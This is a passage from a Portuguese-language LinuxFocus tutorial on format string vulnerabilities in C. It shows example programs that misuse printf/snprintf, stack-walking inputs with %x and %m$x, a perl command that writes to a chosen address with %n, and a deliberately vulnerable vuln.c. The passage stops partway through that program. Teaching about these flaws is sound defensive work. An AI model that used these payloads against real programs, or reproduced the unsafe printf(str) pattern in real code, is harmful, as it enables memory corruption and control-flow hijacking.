<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//pt_BR"> <HTML> <HEAD> <META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="GENERATOR" CONTENT="lfparser_2.17"> <META NAME="LFCATEGORY" CONTENT="Software Development"> <!-- this is used be a number of tools: =LF=AUTHOR: Frédéric Raynal, Christophe Blaess, Christophe Grenier =LF=CAT___: Software Development =LF=TITLE_: Evitando Falhas de Segurança a desenvolver uma aplicação - Parte 4: formatação de strings =LF=NUMBER: 191 =LF=ANAME_: article191.shtml --> <TITLE>lf191, Software Development: Evitando Falhas de Segurança a desenvolver uma aplicação - Parte 4: formatação de strings</TITLE> <!-- stylesheet added by lfparser: --> <style type="text/css"> <!-- td.top {font-family: Arial,Geneva,Verdana,Helvetica,sans-serif; font-size:12 } pre { font-familiy:monospace,Courier } p.cl { color:#EE9500 } a.nodec { text-decoration:none } p.trans { font-size:8pt; text-align:right } p.clbox { width:50%; alignment:center; background-color:#FFD700; border-style:none; border-width:medium; border-color:#FFD700; padding:0.5cm ; text-align:center } p.foot { background-color:#AAAAAA; color:#FFFFFF; border-style:none; border-width:medium; border-color:#AAAAAA; padding:0.5cm ; margin-top:0.1cm; margin-right:1cm; margin-left:1cm; text-align:center } --> </style> </HEAD> <BODY bgcolor="#ffffff" text="#000000"> <!-- this is generated html code. NEVER use this file for your translation work. Instead get the file with the same article number and .meta.shtml in its name. Translate this meta file and then use lfparser program to generate the final article --> <!-- lfparser can be obtained from http://www.linuxfocus.org/~guido/dev/lfparser.html --> <!-- 2pdaIgnoreStart --> <!-- start navegation bar --> <!-- top navegation bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%"> <TR bgcolor="#2e2292"> <TD class="top"><TABLE cellspacing="0" cellpadding="0" border="0" width= "100%"> <TR><TD width="144"><IMG src="../../common/images/logolftop.gif" alt="[LinuxFocus-icon]" width="350" height="45" align="left" border="0"></TD> <TD class="top"> <TABLE width="100%"> <TR align="right"> <TD class="top"><A class="nodec" href="../index.shtml"><FONT color= "#DDDDDD">Início</FONT></A> | <A class= "nodec" href="../map.html"><FONT color= "#DDDDDD">Mapa</FONT></A> | <A class= "nodec" href="../indice.html"><FONT color= "#DDDDDD">Índice</FONT></A> | <A class="nodec" href="../Search/index.shtml"><FONT color= "#DDDDDD">Procura</FONT></A> </TD> </TR> <TR align="right"> <TD class="top"> <HR width="100%" noshade size="1"> </TD> </TR> </TABLE> </TD> </TR> </TABLE> </TD> </TR> </TABLE> <!-- end top navegation bar --> <!-- blue bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%"> <TR bgcolor="#00ffff"> <TD><IMG src="../../common/images/transpix.gif" width="1" height= "2" alt=""></TD> </TR> </TABLE> <!-- end blue bar --> <!-- bottom navegation bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="94%"> <TR bgcolor="#000000"> <TD> <TABLE cellspacing="0" cellpadding="1" border="0" width= "100%"> <TR align="center"> <TD><A class="nodec" href="../News/index.shtml"><FONT color= "#FFFFFF">Novidades</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../Archives/index.html"><FONT color= "#FFFFFF">Arquivos</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../Links/index.shtml"><FONT color= "#FFFFFF">Links</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../aboutus.html"><FONT color= "#FFFFFF">Sobre LF</FONT></A> </TD> </TR> </TABLE> </TD> </TR> </TABLE> <!-- end bottom navegation bar --> <!-- stop navegation bar --> <!-- SSI_INFO --> <!-- tr_staticssi include virtual --> <!-- tr_staticssi exec cmd --> <!-- addedByLfdynahead ver 1.4 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">Este artigo está disponível em: <A href="../../English/July2001/article191.shtml">English</a> <A href="../../Deutsch/July2001/article191.shtml">Deutsch</a> <A href="../../Francais/July2001/article191.shtml">Francais</a> <A href="../../Nederlands/July2001/article191.shtml">Nederlands</a> <A href="../../Portugues/July2001/article191.shtml">Portugues</a> <A href="../../Russian/July2001/article191.shtml">Russian</a> <A href="../../Turkce/July2001/article191.shtml">Turkce</a> </FONT></TD></TR></TABLE><br> <!-- 2pdaIgnoreStop --> <!-- SHORT BIO ABOUT THE AUTHOR --> <TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" > <TR> <TD> <!-- 2pdaIgnoreStart --> <!-- PALM DOC --> <TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD> <font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font> </TD> </TR> </TABLE> <!-- END PALM DOC --> <!-- 2pdaIgnoreStop --> <br> <IMG src="../../common/images/FredCrisBCrisG.jpg" alt= "[image of the authors]" width="200" height="150"> <BR>por <A href="mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr">Frédéric Raynal, Christophe Blaess, Christophe Grenier</A> <BR><BR> <I>Sobre o autor:</I><BR> <P>O Christophe Blaess é um engenheiro aeronáutico independente. Ele é um fã do Linux e faz muito do seu trabalho neste sistema. Coordena a tradução das páginas man publicadas no <I>Projecto de Documentação do Linux</I>.</P><P>O Christophe Grenier é um estudante no 5º ano na ESIEA, onde, também trabalha como administrador de sistema. Tem uma paixão por segurança de computadores.</P><P>O Frederic Raynal tem utilizado o Linux desde há alguns anos porque não polui, não usa hormonas, não usa MSG ou farinha animal ... reclama somente o suor e a astúcia.</p> <BR><i>Conteúdo</i>: <UL> <LI><A HREF="#191lfindex0">Onde está o perigo ?</A></LI> <LI><A HREF="#191lfindex1">Aprofundando a formatação de strings</A></LI> <LI><A HREF="#191lfindex2">printf() : disseram-me uma mentira !</A></LI> <LI><A HREF="#191lfindex3">Tempo de Jogar</A></LI> <LI><A HREF="#191lfindex4">A pilha e o printf()</A></LI> <LI><A HREF="#191lfindex5">Andando através da pilha</A></LI> <LI><A HREF="#191lfindex6">Mesmo Mais alto</A></LI> <LI><A HREF="#191lfindex7">Em breve ...</A></LI> <LI><A HREF="#191lfindex8">Primeiros Passos</A></LI> <LI><A HREF="#191lfindex9">Variações no mesmo tópico</A></LI> <LI><A HREF="#191lfindex10">Explorando o bug da formatação</A></LI> <LI><A HREF="#191lfindex11">O programa vulnerável</A></LI> <LI><A HREF="#191lfindex12">Primeiro Exemplo</A></LI> <LI><A HREF="#191lfindex13">Problemas de memória: dividir e conquistar</A></LI> <LI><A HREF="#191lfindex14">Outras Explorações</A></LI> <LI><A HREF="#191lfindex15">Por favor, Dêem-me a linha de comandos</A></LI> <LI><A HREF="#191lfindex16">Conclusão : Como evitar bugs de formatação ?</A></LI> <LI><A HREF="#191lfindex17">Agradecimentos</A></LI> <LI><A HREF="#191lfindex18">Links</A></LI> <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=191&lang=pt">Forma de respostas para este artigo</A></LI> </UL> </TD></TR></TABLE> <!-- HEAD OF THE ARTICLE --> <br> <H2>Evitando Falhas de Segurança a desenvolver uma aplicação - Parte 4: formatação de strings</H2> <IMG src="../../common/images/illustration183.gif" width="100" height="100" alt="[article illustration]" hspace="10"> <!-- ABSTRACT OF THE ARTICLE --> <P><i>Abstrato</i>: <P> De há algum tempo para cá que anúncios de mensagens acerca da exploração baseadas na <EM>formatação de strings</EM> são mais numerosas. Este artigo explica de onde vem o perigo e mostrar-lhe-á que uma tentativa para guardar seis bytes é o suficiente para comprometer a segurança de um programa. </P> <HR size="2" noshade align="right"><BR> <!-- BODY OF THE ARTICLE --> <A NAME="191lfindex0"> </A> <H2>Onde está o perigo ?</H2> <P>Muitas falhas de segurança provém de má configuração ou desleixo. Esta regra permanece verdadeira para a formatação de strings.</P> <P>É necessário por vezes, utilizar strings terminadas em null num programa. Onde dentro do programa não é importante aqui. Esta vulnerabilidade é, de novo, acerca da escrita directa para a memória. Os dados para o ataque podem vir da <CODE>stdin</CODE>, ficheiros, etc. Uma instrução simples é o suficiente:</P> <CENTER> <CODE>printf("%s", str);</CODE> </CENTER> <P>Contudo, um programador pode decidir em guardar tempo e seis bytes quando só escreve:</P> <CENTER> <CODE>printf(str);</CODE> </CENTER> <P>Com a "economia" em mente, o programador abre um potencial buraco no seu trabalho. Ele está satisfeito em passar um única string como argumento a qual ele queria, simplesmente, apresentar sem nenhuma modificação. Contudo esta string será dividida em partes para se procurar directivas de formatação (<CODE>%d</CODE>, <CODE>%g</CODE>...). Quando um caracter de formatação é descoberto, o argumento correspondente é procurado na pilha.</P> <P>Introduziremos as funções da família <CODE>printf()</CODE>. Pelo menos esperamos que toda a gente as conheça ... mas não em detalhe, então lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a informação necessária para explorar tal erro. Finalmente veremos como isto se encaixa num simples exemplo.</P> <A NAME="191lfindex1"> </A> <H2>Aprofundando a formatação de strings</H2> Nesta parte consideraremos a formatação de strings. Começaremos com um recurso acerca do seu uso e descobriremos instruções de formatação pouco conhecidas que revelaram todo o seu mistério. <A NAME="191lfindex2"> </A> <H2><CODE>printf()</CODE> : disseram-me uma mentira !</H2> <FONT size="-1">Nota para os residentes não Franceses: nós temos no nosso simpático país um ciclista corredor que afirma não se ter dopado enquanto que outros membros da sua equipa o admitiam. Afirmou que se dopou não o sabia. Então um famoso fantoche mostrou o uso da frase Fancesa "on m'aurait menti!" o que me inspirou para este artigo.</FONT> <P>Comecemos pelo que todos nós aprendemos nos nossos livros de programação: muitas das funções de entrada/saída do C utilizam <EM>a formatação dos dados</EM> o que significa que não só providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:</P> <PRE> /* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); } </PRE> Correndo-o, apresenta: <PRE> >>gcc display.c -o display >>./display int : 64 97 char : @ a </PRE> O primeiro <CODE>printf()</CODE> escreve o valor da variável inteira <CODE>i</CODE> e a variável caracter <CODE>a</CODE> como <CODE>int</CODE> (isto é feito usando <CODE>%d</CODE>), o que leva <CODE>a</CODE> apresentar o valor ASCII. Por outro lado, o segundo <CODE>printf()</CODE> converte a variável inteira <CODE>i</CODE> para o correspondente código ASCII que é 64. <P>Nada de novo - tudo conforme as muitas funções com um protótipo semelhante à função <CODE>printf()</CODE>:</P> <OL> <LI>um argumento, na forma de uma string de caracteres(<CODE>const char *format</CODE>) é usado para especificar o formato seleccionado;</LI> <LI>um ou mais argumentos opcionais, contendo as variáveis nas quais os valores são formatados segundo as indicações dadas na string anterior.</LI> </OL> <P>Muitas das nossas lições de programação terminam aqui, providenciando uma lista não exaustiva das possíveis formatações (<CODE>%g</CODE>, <CODE>%h</CODE>, <CODE>%x</CODE>, e o uso do caracter ponto <CODE>.</CODE> para a precisão...) Mas, existe um outro nunca falado: <CODE>%n</CODE>. Eis o que diz a página do manual do <CODE>printf</CODE> acerca dele:</P> <CENTER> <TABLE width="90%"> <TR> <TD>O número de caracteres escritos até então é guardado num indicador <CODE>int *</CODE> (ou variante) num argumento de ponteiro. Nenhum argumento é convertido.</TD> </TR> </TABLE> </CENTER> <P>Eis aqui a coisa mais importante deste artigo: <FONT color= "#ff0000">este argumento torna possível a escrita numa variável do tipo ponteiro</FONT> , mesmo quando é usado numa função de apresentação !</P> <P>Antes de continuarmos, deixem-nos dizer que esta formatação também existe para as funções da família <CODE>scanf()</CODE> e <CODE>syslog()</CODE>.</P> <A NAME="191lfindex3"> </A> <H2>Tempo de Jogar</H2> <P>Vamos estudar o uso e o comportamento desta formatação através de pequenos programas. O primeiro, <CODE>printf1</CODE>, mostra um simples uso:</P> <PRE> /* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: } </PRE> <P>A primeira chamada do <CODE>printf()</CODE> apresenta a string "<CODE>0123456789</CODE>" que contém 10 caracteres. A próxima formatação <CODE>%n</CODE> escreve o valor da variável <CODE>n</CODE>:</P> <PRE> >>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10 </PRE> Transformemos, ligeiramente, o nosso programa substituindo a instrução <CODE>printf()</CODE> da linha 7 pela seguinte: <PRE> 7: printf("buf=%s%n\n", buf, &n); </PRE> <P>Correndo este novo programa, confirma a nossa ideia: a variável <CODE>n</CODE> é agora 14, (10 caracteres da variável string <CODE>buf</CODE> mais os 4 caracteres da string constante "<CODE>buf=</CODE>", contida na string de formatação).</P> <P>Então, sabemos que a formatação <CODE>%n</CODE> conta cada caracter que aparece na string de formatação. Mais adiante, como demonstraremos com o programa <CODE>printf2</CODE>, conta ainda mais:</P> <PRE> /* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); } </PRE> O uso da função <CODE>snprintf()</CODE> é para prevenir de um buffer overflow. A variável <CODE>n</CODE> devia ser 10: <PRE> >>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100 </PRE> Estranho ? De facto, a formatação <CODE>%n</CODE> considera a quantidade de caracteres que <FONT color="#ff0000">devem</FONT> ter sido escritos. Este exemplo que a truncagem tendo em conta o tamanho é ignorada. <P>O que é que realmente acontece ? A string de formatação é estendida completamente antes de ser cortada e depois copiada para o buffer de destino:</P> <PRE> /* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); } </PRE> O <CODE>printf3</CODE> contém algumas diferenças comparativamente ao <CODE>printf2</CODE>: <UL> <LI>o tamanho do buffer é reduzido para 5 bytes</LI> <LI>a precisão na string de formatação é, agora definida para 5;</LI> <LI>o conteúdo do buffer é finalmente apresentado.</LI> </UL> Obtemos a seguinte apresentação: <PRE> >>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5) </PRE> As duas primeiras linhas não são nenhuma surpresa. A última ilustra o comportamento da função <CODE>printf()</CODE> : <OL> <LI>A string é substituída, segundo os comandos <A href="#foot1">1</A></SUP> que contém, o que providência a string "<CODE>00000\0</CODE>";</LI> <LI>As variáveis são escritas onde e como deviam, o que é ilustrado pela cópia do <CODE>x</CODE> no nosso exemplo. Depois a string é algo parecido com "<CODE>01234\0</CODE>";</LI> <LI>Por último, <CODE>sizeof buf - 1</CODE> bytes<SUP><A href= "#foot2">2</A></SUP> a partir desta string é copiado na string de destino <CODE>buf</CODE>, o que nos dá "<CODE>0123\0</CODE>"</LI> </OL> Isto não é perfeitamente assim mas reflecte o processo geral. Para mais detalhes, o leitor deve referir-se aos sources da <CODE>GlibC</CODE>, em particular a <CODE>vfprintf()</CODE> no directório <CODE>${GLIBC_HOME}/stdio-common</CODE>. <P>Antes de terminarmos esta parte, adicionemos que é possível de obter os mesmos resultados escrevendo a string de formatação de um modo ligeiramente diferente. Previamente, utilizámos a <EM>precisão</EM> (o ponto '.'). Uma outra combinação de instruções de formatação conduz-nos a um resultado idêntico: <CODE>0n</CODE>, onde o <CODE>n</CODE> é o número do <EM>comprimento</EM> , e o <CODE>0</CODE> significa que os espaços devem ser trocados por 0 no caso de todo o comprimento não ser preenchido.</P> <P>Agora que sabe tudo acerca da formatação de strings, e muito especialmente acerca da formatação <CODE>%n</CODE>, estudaremos os seus comportamentos.</P> <A NAME="191lfindex4"> </A> <H2>A pilha e o <CODE>printf()</CODE></H2> <A NAME="191lfindex5"> </A> <H2>Andando através da pilha</H2> <P>O próximo programa guiár-nos-à em toda esta secção para compreendermos como o <CODE>printf()</CODE> e a pilha se relacionam:</P> <PRE> /* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: } </PRE> Este Programa só copia um argumento para o vector de caracteres do <CODE>buffer</CODE>. Tomaremos cuidado para não escrevermos por cima de alguns dados importantes ( a formatação de strings são, realmente, mais correctas que os excedimentos de buffer ;-) <PRE> >>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674) </PRE> Trabalha como esperávamos :) Antes de avançarmos examinemos o que acontece do ponto de vista da pilha ao chamar o <CODE>snprintf()</CODE> na linha 8. <CENTER> <TABLE width="90%" nosave=""> <TR> <TD><A name="snprintf1">Fig. 1</A> : A pilha no inicio do <CODE>snprintf()</CODE> </TD> </TR> <TR> <TD><IMG src="../../common/images/article191/fs1.jpg" alt= "snprintf()"> </TD> </TR> </TABLE> </CENTER> <P>A Figura <A href="#snprintf1">1</A> descreve os estado da pilha quando o programa entra na função <CODE>snprintf()</CODE> (veremos que isto não é verdade ... mas isto é só para lhe dar uma ideia do que está a acontecer). Não nos importámos com o registo <CODE>%esp</CODE>. Está algures abaixo do registo <CODE>%ebp</CODE>. Como vimos num artigo anterior, os dois primeiros sectores localizados no <CODE>%ebp</CODE> e <CODE>%ebp+4</CODE> contêm as respectivas salvaguardas dos registos <CODE>%ebp</CODE> and <CODE>%ebp+4</CODE>. Seguindo-se os argumentos da função <CODE>snprintf()</CODE>: </P> <OL> <LI>Endereço de destino;</LI> <LI>O número de caracteres a serem copiados;</LI> <LI>o endereço da string de formatação <CODE>argv[1]</CODE> que também se comporta como dado.</LI> </OL> Por último, a pilha é preenchida até cima com o vector <CODE>tmp</CODE> de 4 caracteres , com os 64 bytes da variável buffer e a variável inteira; <P>A string <CODE>argv[1]</CODE> é usada ao mesmo tempo como string de formatação e de dados. Segundo a ordem normal da rotina <CODE>snprintf()</CODE> o, <CODE>argv[1]</CODE> aparece em vez da string de formatação. Visto que pode utilizar a string de formatação sem directivas de formatação (só texto), está tudo bem :) </P> <P>O que é que acontece quando <CODE>argv[1]</CODE> contém também dados de formatação ? ? Normalmente, <CODE>snprintf()</CODE> interpreta-as como estão ... e não existe nenhuma razão para agir de outro modo ! Mas aqui, pode querer saber quais os argumentos que vão ser usados para a formatação das strings de resultado. De facto o <CODE>snprintf()</CODE> extrai os dados da pilha ! Pode ver isto a partir do nosso programa <CODE>stack</CODE>: <PRE> >>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674) </PRE> <P>Primeiro, a string "<CODE>123</CODE> " é copiada para o <CODE>buffer</CODE>. O <CODE>%x</CODE> pede ao <CODE>snprintf()</CODE> para traduzir o seu primeiro valor para hexadecimal. Na figura <A href="#snprintf1">1</A>, o primeiro argumento não é mais do que a variável <CODE>tmp</CODE> que contém a string <CODE>\x01\x02\x03\x00</CODE>. É apresentado como sendo o número hexadecimal 0x00030201 segundo o nosso processador little endian. </P> <PRE> >>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674) </PRE> <P>Adicionando uma segunda variável <CODE>%x</CODE> permite-lhe subir na pilha. Dia ao <CODE>snprintf()</CODE> para procurar pelos próximos 4 bytes após a variável <CODE>tmp</CODE>. Estes 4 bytes são de facto os primeiros 4 bytes do <CODE>buffer</CODE>. Contudo, o <CODE>buffer</CODE> contém a string "<CODE>123</CODE> ", a qual pode ser vista como o número hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Então, para cada <CODE>%x</CODE>, o <CODE>snprintf()</CODE> "salta" 4 bytes para além do <CODE>buffer</CODE> ( 4 porque o <CODE>unsigned int</CODE> só ocupa 4 bytes no processador x86). Esta variável actua como agente duplo, pois:</P> <OL> <LI>Escrevendo no destino;</LI> <LI>lendo dados de entrada a partir da formatação.</LI> </OL> Podemos "percorrer" a pilha desde que o nosso pequeno buffer contenha bytes: <PRE> >>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654) </PRE> <A NAME="191lfindex6"> </A> <H2>Mesmo Mais alto</H2> O método anterior permitiu-nos ver informação tal como o endereço de retorno da função que criou a pilha contendo o buffer. Contudo é possível, com a correcta formatação, ver para além do buffer vulnerável. <P>Pode, ocasionalmente, encontrar um formato útil quando é necessário trocar entre os parâmetros (por exemplo, ao apresentar a data e o tempo). Adicionámos o formato <CODE>m$</CODE>, logo após o <CODE>%</CODE>, onde o <CODE>m</CODE> é um inteiro >0. Isto dá a posição da variável para utilizar uma lista de argumentos (começando por 1):</P> <PRE> /* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); } </PRE> <P>O formato utilizando <CODE>m$</CODE> permite-nos ir <FONT color="red">até onde queremos</FONT> na pilha, como o podíamos fazer com o <CODE>gdb</CODE>:</P> <PRE> >>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8) </PRE> <P>O caracter <CODE>\</CODE> é necessário aqui para proteger o <CODE>$</CODE> e para prevenir a shell do interpretar. Nas três primeiras chamadas visitámos o conteúdo da variável <CODE>buf</CODE>. Com <CODE>%4\$x</CODE>, obtemos o registo guardado <CODE>%ebp</CODE>, e com o próximo <CODE>%5\$x</CODE>, o registo guardado <CODE>%eip</CODE> (também conhecido como endereço de retorno). Os 2 resultados apresentados aqui, mostram o valor da variável <CODE>argc</CODE> e o endereço contido em <CODE>*argv</CODE> (lembre-se que <CODE>**argv</CODE> quer dizer que <CODE>*argv</CODE> é um vector de endereços).</P> <A NAME="191lfindex7"> </A> <H2>Em breve ...</H2> <P>Este exemplo ilustra que os formatos fornecidos permitem-nos percorrer a pilha à procura de informação, como o endereço de retorno de uma função, um endereço ... Contudo vimos que no princípio deste artigo podíamos escrever usando funções do tipo <CODE>printf()</CODE>: não vos parece isto uma potencial e maravilhosa vulnerabilidade ? </P> <A NAME="191lfindex8"> </A> <H2>Primeiros Passos</H2> <P>Voltemos ao programa <CODE>stack</CODE>:</P> <pre> >>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿000000000000000000000000000000000000000000000000 00000000000] (63) i = 500 (bffff664) </pre> Damos como string de entrada: <OL> <LI>o endereço da variável <CODE>i</CODE>;</LI> <LI>uma instrução de formatação (<CODE>%.496x</CODE>);</LI> <LI>uma segunda instrução de formatação (<CODE>%n</CODE>) que escreverá para dentro do endereço dado. </LI> </OL> Para determinar o endereço da variável <CODE>i</CODE> (aqui <CODE>0xbffff664</CODE>), podemos correr o programa uma segunda vez e alterar a linha de comandos, respectivamente. Como pode notar, aqui o <CODE>i</CODE> tem um novo valor :) A string de formatação dada e a organização da pilha fazem o <CODE>snprintf()</CODE> parecer-se algo como: <PRE> snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, 4 primeiros bytes no buffer); </PRE> <P>Os primeiros quatro bytes (contendo o endereço <CODE>i</CODE>) são escritos no princípio do <CODE>buffer</CODE>. O formato <CODE>%.496x</CODE> permite-nos livrar-nos da variável <CODE>tmp</CODE> que está no principio da pilha. Depois quando a instrução de formatação é o <CODE>%n</CODE>, o endereço utilizado é o de <CODE>i</CODE>, no principio do <CODE>buffer</CODE>. Apesar da precisão requerida ser 496, o snprintf escreve no máximo sessenta bytes (porque o tamanho do buffer 'e 64 e 4 bytes já foram escritos). O valor 496 é arbitrário e é somente utilizado para o "contador de bytes". Vimos que o formato <CODE>%n</CODE> guarda o número de bytes que deviam ser escritos. Este valor é 496, ao qual adicionámos 4 a partir dos 4 bytes do endereço <CODE>i</CODE> no principio do <CODE>buffer</CODE>. Assim contámos 500 bytes. Este valor será escrito no próximo endereço da pilha, que é o endereço do <CODE>i</CODE>.</P> <P>Podemos ainda avançar neste exemplo. Para alterar o <CODE>i</CODE>, precisávamos de saber o seu endereço ... mas por vezes o próprio programa fornece-o:</P> <PRE> /* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); } </PRE> <P>Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:</P> <PRE> >>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0 </PRE> <P>Como pode var, dependendo do argumento, podemos alterar quer o <CODE>cpt1</CODE>, quer o <CODE>cpt2</CODE>. O formato <CODE>%n</CODE> espera um endereço, eis o porquê de não podermos agir directamente nas variáveis (por exemplo usando <CODE>%3$n (cpt2)</CODE> ou <CODE>%4$n (cpt1)</CODE> ) mas tem de ser directamente através de ponteiros. Os últimos são "carne fresca" com enormes possibilidades para modificação.</P> <A NAME="191lfindex9"> </A> <H2>Variações no mesmo tópico</H2> Os exemplos previamente apresentados provém de um programa compilado com o <CODE>egcs-2.91.66</CODE> e o <CODE>glibc-2.1.3-22</CODE>. Contudo, você provavelmente não obterá os mesmos resultados na sua própria experiência. Além disso as funções do tipo <CODE>*printf()</CODE> alteram-se consoante a <CODE>glibc</CODE> e os compiladores não reagem da mesma maneira para operações idênticas. <P>O programa <CODE>stuff</CODE> apresenta estas diferenças:</P> <PRE> /* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); } </PRE> <P>O vector <CODE>aaa</CODE> e <CODE>bbb</CODE> são usados como delimitadores na nossa jornada através da pilha. Assim sendo, sabemos que quando encontramos <CODE>424242</CODE>, os bytes seguintes alteram-se no <CODE>buffer</CODE>. A Tabela <A href="#tabglibc">1</A> apresenta as diferenças segundo as versões da glibc e os compiladores.</P> <CENTER> <TABLE border width="95%" bgcolor="#EEEEEE" border=2> <TR> <TH><A name="tabglibc" href="#tabglibc">Tab. 1</A> : Variações à volta da glibc</TH> <th> </th> <th> </th> </TR> <TR> <TD> <CENTER> <B>Compilador</B> </CENTER> </TD> <TD> <CENTER> <B>glibc</B> </CENTER> </TD> <TD> <CENTER> <B>Apresentação</B> </CENTER> </TD> </TR> <TR> <TD>gcc-2.95.3</TD> <TD>2.1.3-16</TD> <TD>buffer = [8048178 8049618 804828e 133ca0 bffff454 <FONT color="#CC0000">424242</FONT> <FONT color="#006600">38343038 2038373</FONT>] (63)</TD> </TR> <TR> <TD>egcs-2.91.66</TD> <TD>2.1.3-22</TD> <TD>buffer = [<FONT color="#CC0000">424242</FONT> <FONT color="#006600">32343234 33203234 33343332 20343332 30323333 34333233 33</FONT>] (63)</TD> </TR> <TR> <TD>gcc-2.96</TD> <TD>2.1.92-14</TD> <TD>buffer = [120c67 124730 7 11a78e <FONT color= "#CC0000">424242</FONT> <FONT color="#006600">63303231 31203736 33373432 203720</FONT>] (63)</TD> </TR> <TR> <TD>gcc-2.96</TD> <TD>2.2-12</TD> <TD>buffer = [120c67 124730 7 11a78e <FONT color= "#CC0000">424242</FONT> <FONT color="#006600">63303231 31203736 33373432 203720</FONT>] (63)</TD> </TR> </TABLE> </CENTER> <P>A seguir neste artigo, continuaremos a utilizar o <CODE>egcs-2.91.66</CODE> e a <CODE>glibc-2.1.3-22</CODE>, mas não se admire de notar algumas diferenças na sua máquina.</P> <A NAME="191lfindex10"> </A> <H2>Explorando o bug da formatação</H2> <P>Enquanto explorando o excedimento do buffer (overflow), utilizámos um buffer para escrever por cima do endereço de retorno de uma função.</P> <P>Com a formatação de strings, vimos que podemos ir <FONT color= "red">a todo o lado</FONT> (pilha, heap, bss, .dtors, ...), só temos de dizer onde e o que escrever para o <CODE>%n</CODE> fazer o trabalho por nós. </P> <A NAME="191lfindex11"> </A> <H2>O programa vulnerável</H2> Pode explorar o bug de formatação de modos diferentes. O artigo de P. <a href="http://www.hert.org/papers/format.html">Bouchareine's article</a> (<EM>vulnerabilidade da formatação de strings</EM>) mostra como escrever por cima do endereço de retorno de uma função, então nós mostraremos algo mais. <PRE> /* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in 